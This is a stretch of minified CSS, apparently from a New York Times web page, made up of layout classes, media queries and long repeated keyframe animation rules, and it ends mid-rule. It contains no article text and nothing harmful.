(min-width:740px){.css-ist4u3.desktop{display:block;}.css-ist4u3.smartphone{display:none;}}.css-1gprdgz{list-style:none;margin:0;padding:0;-webkit-columns:2;columns:2;padding:0 0 15px;}.css-10t7hia{height:34px;line-height:34px;list-style-type:none;}.css-10t7hia.desktop{display:none;}@media (min-width:740px){.css-10t7hia.desktop{display:block;}.css-10t7hia.smartphone{display:none;}}.css-mzqdl{color:#333;display:block;font-family:nyt-franklin;font-size:15px;font-weight:500;height:34px;line-height:34px;-webkit-text-decoration:none;text-decoration:none;text-transform:capitalize;}.css-kwpx34{color:#000;display:inline-block;font-family:nyt-franklin;-webkit-text-decoration:none;text-decoration:none;text-transform:capitalize;width:150px;font-size:14px;font-weight:500;height:23px;line-height:16px;}.css-kwpx34:hover{cursor:pointer;-webkit-text-decoration:underline;text-decoration:underline;}body.dark .css-kwpx34{color:#fff;}.css-1k2cjfc{color:#000;display:inline-block;font-family:nyt-franklin;-webkit-text-decoration:none;text-decoration:none;text-transform:capitalize;width:150px;font-size:16px;font-weight:700;height:25px;line-height:15px;padding-bottom:0;}.css-1k2cjfc:hover{cursor:pointer;-webkit-text-decoration:underline;text-decoration:underline;}body.dark .css-1k2cjfc{color:#fff;}.css-1vhk1ks{color:#000;display:inline-block;font-family:nyt-franklin;-webkit-text-decoration:none;text-decoration:none;text-transform:capitalize;width:150px;font-size:11px;font-weight:500;height:23px;line-height:21px;}.css-1vhk1ks:hover{cursor:pointer;-webkit-text-decoration:underline;text-decoration:underline;}body.dark .css-1vhk1ks{color:#fff;}.css-6td9kr{list-style:none;margin:0;padding:0;border-top:1px solid #e2e2e2;margin-top:2px;padding-top:10px;}.css-r5ic95{display:inline-block;height:13px;width:13px;margin-right:7px;vertical-align:middle;}.css-15uy5yv{border-top:1px solid #ebebeb;padding-top:9px;}.css-1p8nkc0{color:#999;font-family:nyt-franklin,helvetica,arial,sans-serif;padding:10px 0;-webkit-text-decoration:none;text-decoration:none;white-space:nowrap;}.css-1p8nkc0:hover{-webkit-text-decoration:underline;text-decoration:underline;}@-webkit-keyframes animation-5j8bii{from{opacity:0;}to{opacity:1;}}@keyframes animation-5j8bii{from{opacity:0;}to{opacity:1;}}@-webkit-keyframes animation-1am0aiv{from{visibility:visible;opacity:1;}to{visibility:visible;opacity:0;}}@keyframes animation-1am0aiv{from{visibility:visible;opacity:1;}to{visibility:visible;opacity:0;}}.css-1g7m0tk{color:#326891;}.css-1g7m0tk:visited{color:#326891;}.css-d8bdto{color:#999;display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-flex-shrink:0;-ms-flex-negative:0;flex-shrink:0;font-family:nyt-franklin,helvetica,arial,sans-serif;font-size:17px;margin-bottom:5px;}@media print{.css-d8bdto{display:none;}}.css-y8aj3r{padding:0;}.css-60hakz{color:#999;display:inline;margin-right:16px;padding:10px 0;width:100%;}.css-60hakz a{-webkit-text-decoration:none;text-decoration:none;}@media (max-width:659px){.css-60hakz:nth-of-type(3),.css-60hakz:nth-of-type(4){display:none;}}.css-60hakz:last-of-type{margin-right:0;}.css-i29ckm{width:calc(100% - 40px);max-width:600px;margin:1.5rem auto 2rem;}@media (min-width:1440px){.css-i29ckm{width:600px;max-width:600px;}}@media (min-width:600px){.css-i29ckm{display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-box-pack:justify;-webkit-justify-content:space-between;-ms-flex-pack:justify;justify-content:space-between;-webkit-align-items:center;-webkit-box-align:center;-ms-flex-align:center;align-items:center;}}@media (max-width:600px){.css-i29ckm .facebook,.css-i29ckm .twitter,.css-i29ckm .email{display:inline-block;}}.css-acwcvw{margin-bottom:1rem;}.css-1baulvz{display:inline-block;}@-webkit-keyframes animation-f8wsfj{0%{opacity:1;}50%{opacity:0;}100%{opacity:0;}}@keyframes animation-f8wsfj{0%{opacity:1;}50%{opacity:0;}100%{opacity:0;}}@-webkit-keyframes animation-mhvv8m{0%{opacity:0;}50%{opacity:0;}100%{opacity:1;}}@keyframes animation-mhvv8m{0%{opacity:0;}50%{opacity:0;}100%{opacity:1;}}@-webkit-keyframes animation-m6999o{100%{-webkit-transform:rotate(360deg);-ms-transform:rotate(360deg);transform:rotate(360deg);-webkit-transform-origin:center;-ms-transform-origin:center;transform-origin:center;}}@keyframes animation-m6999o{100%{-webkit-transform:rotate(360deg);-ms-transform:rotate(360deg);transform:rotate(360deg);-webkit-transform-origin:center;-ms-transform-origin:center;transform-origin:center;}}.css-i9gxme{-webkit-box-flex:1;-webkit-flex-grow:1;-ms-flex-positive:1;flex-grow:1;}@-webkit-keyframes animation-1m9j9gf{from{background-color:#f7f7f5;}to{background-color:transparent;}}@keyframes animation-1m9j9gf{from{background-color:#f7f7f5;}to{background-color:transparent;}}.css-1sy8kpn{display:none;}@media (min-width:765px){.css-1sy8kpn{background-color:#f7f7f7;border-bottom:1px solid #f3f3f3;display:block;padding-bottom:15px;padding-top:15px;margin:0;min-height:90px;}}@media print{.css-1sy8kpn{display:none;}}.css-19vbshk{color:#ccc;display:none;font-family:nyt-franklin,helvetica,arial,sans-serif;font-size:0.5625rem;font-weight:300;-webkit-letter-spacing:0.05rem;-moz-letter-spacing:0.05rem;-ms-letter-spacing:0.05rem;letter-spacing:0.05rem;line-height:0.5625rem;margin-left:auto;text-align:center;text-transform:uppercase;}@media (min-width:600px){.css-19vbshk{display:inline-block;}}.css-19vbshk p{margin-bottom:auto;margin-right:7px;margin-top:auto;text-transform:none;}.css-l9onyx{color:#ccc;font-family:nyt-franklin,helvetica,arial,sans-serif;font-size:0.5625rem;font-weight:300;-webkit-letter-spacing:0.05rem;-moz-letter-spacing:0.05rem;-ms-letter-spacing:0.05rem;letter-spacing:0.05rem;line-height:0.5625rem;margin-bottom:9px;text-align:center;text-transform:uppercase;}.css-79elbk{position:relative;}@-webkit-keyframes animation-1q1yk17{to{width:11px;}}@keyframes animation-1q1yk17{to{width:11px;}}@-webkit-keyframes animation-g7rb99{0%{-webkit-transform:scale(1) rotate(0);-ms-transform:scale(1) rotate(0);transform:scale(1) rotate(0);}100%{-webkit-transform:scale(1.05) rotate(-90deg);-ms-transform:scale(1.05) rotate(-90deg);transform:scale(1.05) rotate(-90deg);}}@keyframes animation-g7rb99{0%{-webkit-transform:scale(1) rotate(0);-ms-transform:scale(1) rotate(0);transform:scale(1) rotate(0);}100%{-webkit-transform:scale(1.05) rotate(-90deg);-ms-transform:scale(1.05) rotate(-90deg);transform:scale(1.05) rotate(-90deg);}}.css-k008qs{display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;}.sizeSmall .css-bsn42l{width:50%;}@media (min-width:600px){.sizeSmall .css-bsn42l{width:300px;}}@media (min-width:1440px){.sizeSmall .css-bsn42l{width:300px;}}@media (max-width:600px){.sizeSmall .css-bsn42l{width:50%;}}.sizeSmall.sizeSmallNoCaption .css-bsn42l{margin-left:auto;margin-right:auto;}@media (min-width:740px){.sizeSmall.layoutVertical .css-bsn42l{max-width:250px;}}@media (min-width:1024px){.sizeSmall.layoutVertical .css-bsn42l{width:250px;}}@media (max-width:740px){.sizeSmall.layoutVertical .css-bsn42l{max-width:250px;}}@media (min-width:740px){.sizeSmall.layoutHorizontal .css-bsn42l{max-width:300px;}}@media (min-width:1024px){.sizeSmall.layoutHorizontal .css-bsn42l{width:300px;}}@media (max-width:740px){.sizeSmall.layoutHorizontal .css-bsn42l{max-width:300px;}}@media (min-width:600px){.sizeMedium.layoutVertical.verticalVideo .css-bsn42l{width:310px;}}.css-11cwn6f{width:100%;vertical-align:top;}.css-11cwn6f img{width:100%;vertical-align:top;}@-webkit-keyframes animation-ghw4n2{0%{opacity:0;-webkit-transform:translateY(100px);-ms-transform:translateY(100px);transform:translateY(100px);}100%{opacity:1;-webkit-transform:translateY(0);-ms-transform:translateY(0);transform:translateY(0);}}@keyframes animation-ghw4n2{0%{opacity:0;-webkit-transform:translateY(100px);-ms-transform:translateY(100px);transform:translateY(100px);}100%{opacity:1;-webkit-transform:translateY(0);-ms-transform:translateY(0);transform:translateY(0);}}@-webkit-keyframes animation-1c5cfvc{0%{-webkit-transform:translate(0px,0px) scale(1,1) translate(0px,0px);-ms-transform:translate(0px,0px) scale(1,1) translate(0px,0px);transform:translate(0px,0px) scale(1,1) translate(0px,0px);}25%{-webkit-transform:translate(0px,0px) scale(1,0.95) translate(0px,0px);-ms-transform:translate(0px,0px) scale(1,0.95) translate(0px,0px);transform:translate(0px,0px) scale(1,0.95) translate(0px,0px);}50%{-webkit-transform:translate(0px,0px) scale(1,0.9) translate(0px,0px);-ms-transform:translate(0px,0px) scale(1,0.9) translate(0px,0px);transform:translate(0px,0px) scale(1,0.9) translate(0px,0px);}75%{-webkit-transform:translate(0px,0px) scale(1,0.95) translate(0px,0px);-ms-transform:translate(0px,0px) scale(1,0.95) translate(0px,0px);transform:translate(0px,0px) scale(1,0.95) translate(0px,0px);}100%{-webkit-transform:translate(0px,0px) scale(1,1) translate(0px,0px);-ms-transform:translate(0px,0px) scale(1,1) translate(0px,0px);transform:translate(0px,0px) scale(1,1) translate(0px,0px);}}@keyframes animation-1c5cfvc{0%{-webkit-transform:translate(0px,0px) scale(1,1) translate(0px,0px);-ms-transform:translate(0px,0px) scale(1,1) translate(0px,0px);transform:translate(0px,0px) scale(1,1) translate(0px,0px);}25%{-webkit-transform:translate(0px,0px) scale(1,0.95) translate(0px,0px);-ms-transform:translate(0px,0px) scale(1,0.95) translate(0px,0px);transform:translate(0px,0px) scale(1,0.95) translate(0px,0px);}50%{-webkit-transform:translate(0px,0px) scale(1,0.9) translate(0px,0px);-ms-transform:translate(0px,0px) scale(1,0.9) translate(0px,0px);transform:translate(0px,0px) scale(1,0.9) translate(0px,0px);}75%{-webkit-transform:translate(0px,0px) scale(1,0.95) translate(0px,0px);-ms-transform:translate(0px,0px) scale(1,0.95) translate(0px,0px);transform:translate(0px,0px) scale(1,0.95) translate(0px,0px);}100%{-webkit-transform:translate(0px,0px) scale(1,1) translate(0px,0px);-ms-transform:translate(0px,0px) scale(1,1) translate(0px,0px);transform:translate(0px,0px) scale(1,1) translate(0px,0px);}}@-webkit-keyframes animation-htgkrt{0%{-webkit-transform:translate(0px,0px) translate(0px,0px) translate(0px,0px);-ms-transform:translate(0px,0px) translate(0px,0px) translate(0px,0px);transform:translate(0px,0px) translate(0px,0px) translate(0px,0px);}25%{-webkit-transform:translate(0px,0px) translate(0px,0px) translate(0px,5px);-ms-transform:translate(0px,0px) translate(0px,0px) translate(0px,5px);transform:translate(0px,0px) translate(0px,0px) translate(0px,5px);}50%{-webkit-transform:translate(0px,0px) translate(0px,0px) translate(0px,10px);-ms-transform:translate(0px,0px) translate(0px,0px) translate(0px,10px);transform:translate(0px,0px) translate(0px,0px) translate(0px,10px);}75%{-webkit-transform:translate(0px,0px) translate(0px,0px) translate(0px,5px);-ms-transform:translate(0px,0px) translate(0px,0px) translate(0px,5px);transform:translate(0px,0px) translate(0px,0px) translate(0px,5px);}100%{-webkit-transform:translate(0px,0px) translate(0px,0px) translate(0px,0px);-ms-transform:translate(0px,0px) translate(0px,0px) translate(0px,0px);transform:translate(0px,0px) translate(0px,0px) translate(0px,0px);}}@keyframes animation-htgkrt{0%{-webkit-transform:translate(0px,0px) translate(0px,0px) translate(0px,0px);-ms-transform:translate(0px,0px) translate(0px,0px) translate(0px,0px);transform:translate(0px,0px) translate(0px,0px) translate(0px,0px);}25%{-webkit-transform:translate(0px,0px) translate(0px,0px) translate(0px,5px);-ms-transform:translate(0px,0px) translate(0px,0px) translate(0px,5px);transform:translate(0px,0px) translate(0px,0px) translate(0px,5px);}50%{-webkit-transform:translate(0px,0px) translate(0px,0px) translate(0px,10px);-ms-transform:translate(0px,0px) translate(0px,0px) translate(0px,10px);transform:translate(0px,0px) translate(0px,0px) translate(0px,10px);}75%{-webkit-transform:translate(0px,0px) translate(0px,0px) translate(0px,5px);-ms-transform:translate(0px,0px) translate(0px,0px) translate(0px,5px);transform:translate(0px,0px) translate(0px,0px) translate(0px,5px);}100%{-webkit-transform:translate(0px,0px) translate(0px,0px) translate(0px,0px);-ms-transform:translate(0px,0px) translate(0px,0px) translate(0px,0px);transform:translate(0px,0px) translate(0px,0px) translate(0px,0px);}}@-webkit-keyframes animation-e64et{0%{-webkit-transform:translate(11.329999923706055px,0px) scale(1,0.95) translate(-11.329999923706055px,0px);-ms-transform:translate(11.329999923706055px,0px) scale(1,0.95) translate(-11.329999923706055px,0px);transform:translate(11.329999923706055px,0px) scale(1,0.95) translate(-11.329999923706055px,0px);}25%{-webkit-transform:translate(11.329999923706055px,0px) scale(1,1) translate(-11.329999923706055px,0px);-ms-transform:translate(11.329999923706055px,0px) scale(1,1) translate(-11.329999923706055px,0px);transform:translate(11.329999923706055px,0px) scale(1,1) translate(-11.329999923706055px,0px);}50%{-webkit-transform:translate(11.329999923706055px,0px) scale(1,0.95) translate(-11.329999923706055px,0px);-ms-transform:translate(11.329999923706055px,0px) scale(1,0.95) translate(-11.329999923706055px,0px);transform:translate(11.329999923706055px,0px) scale(1,0.95) translate(-11.329999923706055px,0px);}75%{-webkit-transform:translate(11.329999923706055px,0px) scale(1,0.9) translate(-11.329999923706055px,0px);-ms-transform:translate(11.329999923706055px,0px) scale(1,0.9) translate(-11.329999923706055px,0px);transform:translate(11.329999923706055px,0px) scale(1,0.9) translate(-11.329999923706055px,0px);}100%{-webkit-transform:translate(11.329999923706055px,0px) scale(1,0.95) translate(-11.329999923706055px,0px);-ms-transform:translate(11.329999923706055px,0px) scale(1,0.95) translate(-11.329999923706055px,0px);transform:translate(11.329999923706055px,0px) scale(1,0.95) translate(-11.329999923706055px,0px);}}@keyframes animation-e64et{0%{-webkit-transform:translate(11.329999923706055px,0px) scale(1,0.95) translate(-11.329999923706055px,0px);-ms-transform:translate(11.329999923706055px,0px) scale(1,0.95) translate(-11.329999923706055px,0px);transform:translate(11.329999923706055px,0px) scale(1,0.95) translate(-11.329999923706055px,0px);}25%{-webkit-transform:translate(11.329999923706055px,0px) scale(1,1) translate(-11.329999923706055px,0px);-ms-transform:translate(11.329999923706055px,0px) scale(1,1) translate(-11.329999923706055px,0px);transform:translate(11.329999923706055px,0px) scale(1,1) translate(-11.329999923706055px,0px);}50%{-webkit-transform:translate(11.329999923706055px,0px) scale(1,0.95) translate(-11.329999923706055px,0px);-ms-transform:translate(11.329999923706055px,0px) scale(1,0.95) translate(-11.329999923706055px,0px);transform:translate(11.329999923706055px,0px) scale(1,0.95) translate(-11.329999923706055px,0px);}75%{-webkit-transform:translate(11.329999923706055px,0px) scale(1,0.9) translate(-11.329999923706055px,0px);-ms-transform:translate(11.329999923706055px,0px) scale(1,0.9) translate(-11.329999923706055px,0px);transform:translate(11.329999923706055px,0px) scale(1,0.9) translate(-11.329999923706055px,0px);}100%{-webkit-transform:translate(11.329999923706055px,0px) scale(1,0.95) translate(-11.329999923706055px,0px);-ms-transform:translate(11.329999923706055px,0px) scale(1,0.95) translate(-11.329999923706055px,0px);transform:translate(11.329999923706055px,0px) scale(1,0.95) translate(-11.329999923706055px,0px);}}@-webkit-keyframes animation-9zaqp9{0%{-webkit-transform:translate(11.329999923706055px,0px) translate(-11.329999923706055px,0px) translate(0px,5px);-ms-transform:translate(11.329999923706055px,0px) translate(-11.329999923706055px,0px) translate(0px,5px);transform:translate(11.329999923706055px,0px) translate(-11.329999923706055px,0px) translate(0px,5px);}25%{-webkit-transform:translate(11.329999923706055px,0px) translate(-11.329999923706055px,0px) translate(0px,0px);-ms-transform:translate(11.329999923706055px,0px) translate(-11.329999923706055px,0px) translate(0px,0px);transform:translate(11.329999923706055px,0px) translate(-11.329999923706055px,0px) translate(0px,0px);}50%{-webkit-transform:translate(11.329999923706055px,0px) translate(-11.329999923706055px,0px) translate(0px,5px);-ms-transform:translate(11.329999923706055px,0px) translate(-11.329999923706055px,0px) translate(0px,5px);transform:translate(11.329999923706055px,0px) translate(-11.329999923706055px,0px) translate(0px,5px);}75%{-webkit-transform:translate(11.329999923706055px,0px) translate(-11.329999923706055px,0px) translate(0px,10px);-ms-transform:translate(11.329999923706055px,0px) translate(-11.329999923706055px,0px) translate(0px,10px);transform:translate(11.329999923706055px,0px) translate(-11.329999923706055px,0px) translate(0px,10px);}100%{-webkit-transform:translate(11.329999923706055px,0px) translate(-11.329999923706055px,0px) translate(0px,5px);-ms-transform:translate(11.329999923706055px,0px) translate(-11.329999923706055px,0px) translate(0px,5px);transform:translate(11.329999923706055px,0px) translate(-11.329999923706055px,0px) translate(0px,5px);}}@keyframes animation-9zaqp9{0%{-webkit-transform:translate(11.329999923706055px,0px) translate(-11.329999923706055px,0px) translate(0px,5px);-ms-transform:translate(11.329999923706055px,0px) translate(-11.329999923706055px,0px) translate(0px,5px);transform:translate(11.329999923706055px,0px) translate(-11.329999923706055px,0px) translate(0px,5px);}25%{-webkit-transform:translate(11.329999923706055px,0px) translate(-11.329999923706055px,0px) translate(0px,0px);-ms-transform:translate(11.329999923706055px,0px) translate(-11.329999923706055px,0px) translate(0px,0px);transform:translate(11.329999923706055px,0px) translate(-11.329999923706055px,0px) translate(0px,0px);}50%{-webkit-transform:translate(11.329999923706055px,0px) translate(-11.329999923706055px,0px) translate(0px,5px);-ms-transform:translate(11.329999923706055px,0px) translate(-11.329999923706055px,0px) translate(0px,5px);transform:translate(11.329999923706055px,0px) translate(-11.329999923706055px,0px) translate(0px,5px);}75%{-webkit-transform:translate(11.329999923706055px,0px) translate(-11.329999923706055px,0px) translate(0px,10px);-ms-transform:translate(11.329999923706055px,0px) translate(-11.329999923706055px,0px) translate(0px,10px);transform:translate(11.329999923706055px,0px) translate(-11.329999923706055px,0px) translate(0px,10px);}100%{-webkit-transform:translate(11.329999923706055px,0px) translate(-11.329999923706055px,0px) translate(0px,5px);-ms-transform:translate(11.329999923706055px,0px) translate(-11.329999923706055px,0px) translate(0px,5px);transform:translate(11.329999923706055px,0px) translate(-11.329999923706055px,0px) translate(0px,5px);}}@-webkit-keyframes animation-16fq4rz{0%{-webkit-transform:translate(22.670000076293945px,0px) scale(1,0.9) translate(-22.670000076293945px,0px);-ms-transform:translate(22.670000076293945px,0px) scale(1,0.9) translate(-22.670000076293945px,0px);transform:translate(22.670000076293945px,0px) scale(1,0.9) translate(-22.670000076293945px,0px);}25%{-webkit-transform:translate(22.670000076293945px,0px) scale(1,0.95) translate(-22.670000076293945px,0px);-ms-transform:translate(22.670000076293945px,0px) scale(1,0.95) translate(-22.670000076293945px,0px);transform:translate(22.670000076293945px,0px) scale(1,0.95) translate(-22.670000076293945px,0px);}50%{-webkit-transform:translate(22.670000076293945px,0px) scale(1,1) translate(-22.670000076293945px,0px);-ms-transform:translate(22.670000076293945px,0px) scale(1,1) translate(-22.670000076293945px,0px);transform:translate(22.670000076293945px,0px) scale(1,1) translate(-22.670000076293945px,0px);}75%{-webkit-transform:translate(22.670000076293945px,0px) scale(1,0.95) translate(-22.670000076293945px,0px);-ms-transform:translate(22.670000076293945px,0px) scale(1,0.95) translate(-22.670000076293945px,0px);transform:translate(22.670000076293945px,0px) scale(1,0.95) translate(-22.670000076293945px,0px);}100%{-webkit-transform:translate(22.670000076293945px,0px) scale(1,0.9) translate(-22.670000076293945px,0px);-ms-transform:translate(22.670000076293945px,0px) scale(1,0.9) translate(-22.670000076293945px,0px);transform:translate(22.670000076293945px,0px) scale(1,0.9) translate(-22.670000076293945px,0px);}}@keyframes animation-16fq4rz{0%{-webkit-transform:translate(22.670000076293945px,0px) scale(1,0.9) translate(-22.670000076293945px,0px);-ms-transform:translate(22.670000076293945px,0px) scale(1,0.9) translate(-22.670000076293945px,0px);transform:translate(22.670000076293945px,0px) scale(1,0.9) translate(-22.670000076293945px,0px);}25%{-webkit-transform:translate(22.670000076293945px,0px) scale(1,0.95) translate(-22.670000076293945px,0px);-ms-transform:translate(22.670000076293945px,0px) scale(1,0.95) translate(-22.670000076293945px,0px);transform:translate(22.670000076293945px,0px) scale(1,0.95) translate(-22.670000076293945px,0px);}50%{-webkit-transform:translate(22.670000076293945px,0px) scale(1,1) translate(-22.670000076293945px,0px);-ms-transform:translate(22.670000076293945px,0px) scale(1,1) translate(-22.670000076293945px,0px);transform:translate(22.670000076293945px,0px) scale(1,1) translate(-22.670000076293945px,0px);}75%{-webkit-transform:translate(22.670000076293945px,0px) scale(1,0.95) translate(-22.670000076293945px,0px);-ms-transform:translate(22.670000076293945px,0px) scale(1,0.95) translate(-22.670000076293945px,0px);transform:translate(22.670000076293945px,0px) scale(1,0.95) translate(-22.670000076293945px,0px);}100%{-webkit-transform:translate(22.670000076293945px,0px) scale(1,0.9) translate(-22.670000076293945px,0px);-ms-transform:translate(22.670000076293945px,0px) scale(1,0.9) translate(-22.670000076293945px,0px);transform:translate(22.670000076293945px,0px) scale(1,0.9) translate(-22.670000076293945px,0px);}}@-webkit-keyframes animation-1kjk1j2{0%{-webkit-transform:translate(22.670000076293945px,0px) translate(-22.670000076293945px,0px) translate(0px,10px);-ms-transform:translate(22.670000076293945px,0px) translate(-22.670000076293945px,0px) translate(0px,10px);transform:translate(22.670000076293945px,0px) translate(-22.670000076293945px,0px) translate(0px,10px);}25%{-webkit-transform:translate(22.670000076293945px,0px) translate(-22.670000076293945px,0px) translate(0px,5px);-ms-transform:translate(22.670000076293945px,0px) translate(-22.670000076293945px,0px) translate(0px,5px);transform:translate(22.670000076293945px,0px) translate(-22.670000076293945px,0px) translate(0px,5px);}50%{-webkit-transform:translate(22.670000076293945px,0px) translate(-22.670000076293945px,0px) translate(0px,0px);-ms-transform:translate(22.670000076293945px,0px) translate(-22.670000076293945px,0px) translate(0px,0px);transform:translate(22.670000076293945px,0px) translate(-22.670000076293945px,0px) translate(0px,0px);}75%{-webkit-transform:translate(22.670000076293945px,0px) translate(-22.670000076293945px,0px) translate(0px,5px);-ms-transform:translate(22.670000076293945px,0px) translate(-22.670000076293945px,0px) translate(0px,5px);transform:translate(22.670000076293945px,0px) translate(-22.670000076293945px,0px) translate(0px,5px);}100%{-webkit-transform:translate(22.670000076293945px,0px) translate(-22.670000076293945px,0px) translate(0px,10px);-ms-transform:translate(22.670000076293945px,0px) translate(-22.670000076293945px,0px) translate(0px,10px);transform:translate(22.670000076293945px,0px) translate(-22.670000076293945px,0px) translate(0px,10px);}}@keyframes animation-1kjk1j2{0%{-webkit-transform:translate(22.670000076293945px,0px) translate(-22.670000076293945px,0px) translate(0px,10px);-ms-transform:translate(22.670000076293945px,0px) translate(-22.670000076293945px,0px) translate(0px,10px);transform:translate(22.670000076293945px,0px) translate(-22.670000076293945px,0px) translate(0px,10px);}25%{-webkit-transform:translate(22.670000076293945px,0px) translate(-22.670000076293945px,0px) translate(0px,5px);-ms-transform:translate(22.670000076293945px,0px) translate(-22.670000076293945px,0px) translate(0px,5px);transform:translate(22.670000076293945px,0px) translate(-22.670000076293945px,0px) translate(0px,5px);}50%{-webkit-transform:translate(22.670000076293945px,0px) translate(-22.670000076293945px,0px) translate(0px,0px);-ms-transform:translate(22.670000076293945px,0px) translate(-22.670000076293945px,0px) translate(0px,0px);transform:translate(22.670000076293945px,0px) translate(-22.670000076293945px,0px) translate(0px,0px);}75%{-webkit-transform:translate(22.670000076293945px,0px) translate(-22.670000076293945px,0px) translate(0px,5px);-ms-transform:translate(22.670000076293945px,0px) translate(-22.670000076293945px,0px) translate(0px,5px);transform:translate(22.670000076293945px,0px) translate(-22.670000076293945px,0px) translate(0px,5px);}100%{-webkit-transform:translate(22.670000076293945px,0px) translate(-22.670000076293945px,0px) translate(0px,10px);-ms-transform:translate(22.670000076293945px,0px) translate(-22.670000076293945px,0px) translate(0px,10px);transform:translate(22.670000076293945px,0px) translate(-22.670000076293945px,0px) translate(0px,10px);}}@-webkit-keyframes animation-88g286{0%{-webkit-transform:translate(34px,0px) translate(-34px,0px) translate(0px,5px);-ms-transform:translate(34px,0px) translate(-34px,0px) translate(0px,5px);transform:translate(34px,0px) translate(-34px,0px) translate(0px,5px);}25%{-webkit-transform:translate(34px,0px) translate(-34px,0px) translate(0px,10px);-ms-transform:translate(34px,0px) translate(-34px,0px) translate(0px,10px);transform:translate(34px,0px) translate(-34px,0px) translate(0px,10px);}50%{-webkit-transform:translate(34px,0px) translate(-34px,0px) translate(0px,5px);-ms-transform:translate(34px,0px) translate(-34px,0px) translate(0px,5px);transform:translate(34px,0px) translate(-34px,0px) translate(0px,5px);}75%{-webkit-transform:translate(34px,0px) translate(-34px,0px) translate(0px,0px);-ms-transform:translate(34px,0px) translate(-34px,0px) translate(0px,0px);transform:translate(34px,0px) translate(-34px,0px) translate(0px,0px);}100%{-webkit-transform:translate(34px,0px) translate(-34px,0px) translate(0px,5px);-ms-transform:translate(34px,0px) translate(-34px,0px) translate(0px,5px);transform:translate(34px,0px) translate(-34px,0px) translate(0px,5px);}}@keyframes animation-88g286{0%{-webkit-transform:translate(34px,0px) translate(-34px,0px) translate(0px,5px);-ms-transform:translate(34px,0px) translate(-34px,0px) translate(0px,5px);transform:translate(34px,0px) translate(-34px,0px) translate(0px,5px);}25%{-webkit-transform:translate(34px,0px) translate(-34px,0px) translate(0px,10px);-ms-transform:translate(34px,0px) translate(-34px,0px) translate(0px,10px);transform:translate(34px,0px) translate(-34px,0px) translate(0px,10px);}50%{-webkit-transform:translate(34px,0px) translate(-34px,0px) translate(0px,5px);-ms-transform:translate(34px,0px) translate(-34px,0px) translate(0px,5px);transform:translate(34px,0px) translate(-34px,0px) translate(0px,5px);}75%{-webkit-transform:translate(34px,0px) translate(-34px,0px) translate(0px,0px);-ms-transform:translate(34px,0px) translate(-34px,0px) translate(0px,0px);transform:translate(34px,0px) translate(-34px,0px) translate(0px,0px);}100%{-webkit-transform:translate(34px,0px) translate(-34px,0px) translate(0px,5px);-ms-transform:translate(34px,0px) translate(-34px,0px) translate(0px,5px);transform:translate(34px,0px) translate(-34px,0px) translate(0px,5px);}}@-webkit-keyframes animation-12yx39b{0%{-webkit-transform:translate(34px,0px) scale(1,0.95) translate(-34px,0px);-ms-transform:translate(34px,0px) scale(1,0.95) translate(-34px,0px);transform:translate(34px,0px) scale(1,0.95) translate(-34px,0px);}25%{-webkit-transform:translate(34px,0px) scale(1,0.9) translate(-34px,0px);-ms-transform:translate(34px,0px) scale(1,0.9) translate(-34px,0px);transform:translate(34px,0px) scale(1,0.9) translate(-34px,0px);}50%{-webkit-transform:translate(34px,0px) scale(1,0.95) translate(-34px,0px);-ms-transform:translate(34px,0px) scale(1,0.95) translate(-34px,0px);transform:translate(34px,0px) scale(1,0.95) translate(-34px,0px);}75%{-webkit-transform:translate(34px,0px) scale(1,1) translate(-34px,0px);-ms-transform:translate(34px,0px) scale(1,1) translate(-34px,0px);transform:translate(34px,0px) scale(1,1) translate(-34px,0px);}100%{-webkit-transform:translate(34px,0px) scale(1,0.95) translate(-34px,0px);-ms-transform:translate(34px,0px) scale(1,0.95) translate(-34px,0px);transform:translate(34px,0px) scale(1,0.95) translate(-34px,0px);}}@keyframes animation-12yx39b{0%{-webkit-transform:translate(34px,0px) scale(1,0.95) translate(-34px,0px);-ms-transform:translate(34px,0px) scale(1,0.95) translate(-34px,0px);transform:translate(34px,0px) scale(1,0.95) translate(-34px,0px);}25%{-webkit-transform:translate(34px,0px) scale(1,0.9) translate(-34px,0px);-ms-transform:translate(34px,0px) scale(1,0.9) translate(-34px,0px);transform:translate(34px,0px) scale(1,0.9) translate(-34px,0px);}50%{-webkit-transform:translate(34px,0px) scale(1,0.95) translate(-34px,0px);-ms-transform:translate(34px,0px) scale(1,0.95) translate(-34px,0px);transform:translate(34px,0px) scale(1,0.95) translate(-34px,0px);}75%{-webkit-transform:translate(34px,0px) scale(1,1) translate(-34px,0px);-ms-transform:translate(34px,0px) scale(1,1) translate(-34px,0px);transform:translate(34px,0px) scale(1,1) translate(-34px,0px);}100%{-webkit-transform:translate(34px,0px) scale(1,0.95) translate(-34px,0px);-ms-transform:translate(34px,0px) scale(1,0.95) translate(-34px,0px);transform:translate(34px,0px) scale(1,0.95) translate(-34px,0px);}}@-webkit-keyframes animation-4hu8jm{0%{-webkit-transform:translate(0px,0px) scale(1,0.85) translate(0px,0px);-ms-transform:translate(0px,0px) scale(1,0.85) translate(0px,0px);transform:translate(0px,0px) scale(1,0.85) translate(0px,0px);}33.33%{-webkit-transform:translate(0px,0px) scale(1,0.9) translate(0px,0px);-ms-transform:translate(0px,0px) scale(1,0.9) translate(0px,0px);transform:translate(0px,0px) scale(1,0.9) translate(0px,0px);}100%{-webkit-transform:translate(0px,0px) scale(1,0.1) translate(0px,0px);-ms-transform:translate(0px,0px) scale(1,0.1) translate(0px,0px);transform:translate(0px,0px) scale(1,0.1) translate(0px,0px);}}@keyframes animation-4hu8jm{0%{-webkit-transform:translate(0px,0px) scale(1,0.85) translate(0px,0px);-ms-transform:translate(0px,0px) scale(1,0.85) translate(0px,0px);transform:translate(0px,0px) scale(1,0.85) translate(0px,0px);}33.33%{-webkit-transform:translate(0px,0px) scale(1,0.9) translate(0px,0px);-ms-transform:translate(0px,0px) scale(1,0.9) translate(0px,0px);transform:translate(0px,0px) scale(1,0.9) translate(0px,0px);}100%{-webkit-transform:translate(0px,0px) scale(1,0.1) translate(0px,0px);-ms-transform:translate(0px,0px) scale(1,0.1) translate(0px,0px);transform:translate(0px,0px) scale(1,0.1) translate(0px,0px);}}@-webkit-keyframes animation-1wqz2f4{0%{-webkit-transform:translate(0px,0px) translate(0px,0px) translate(0px,15px);-ms-transform:translate(0px,0px) translate(0px,0px) translate(0px,15px);transform:translate(0px,0px) translate(0px,0px) translate(0px,15px);}33.33%{-webkit-transform:translate(0px,0px) translate(0px,0px) translate(0px,10px);-ms-transform:translate(0px,0px) 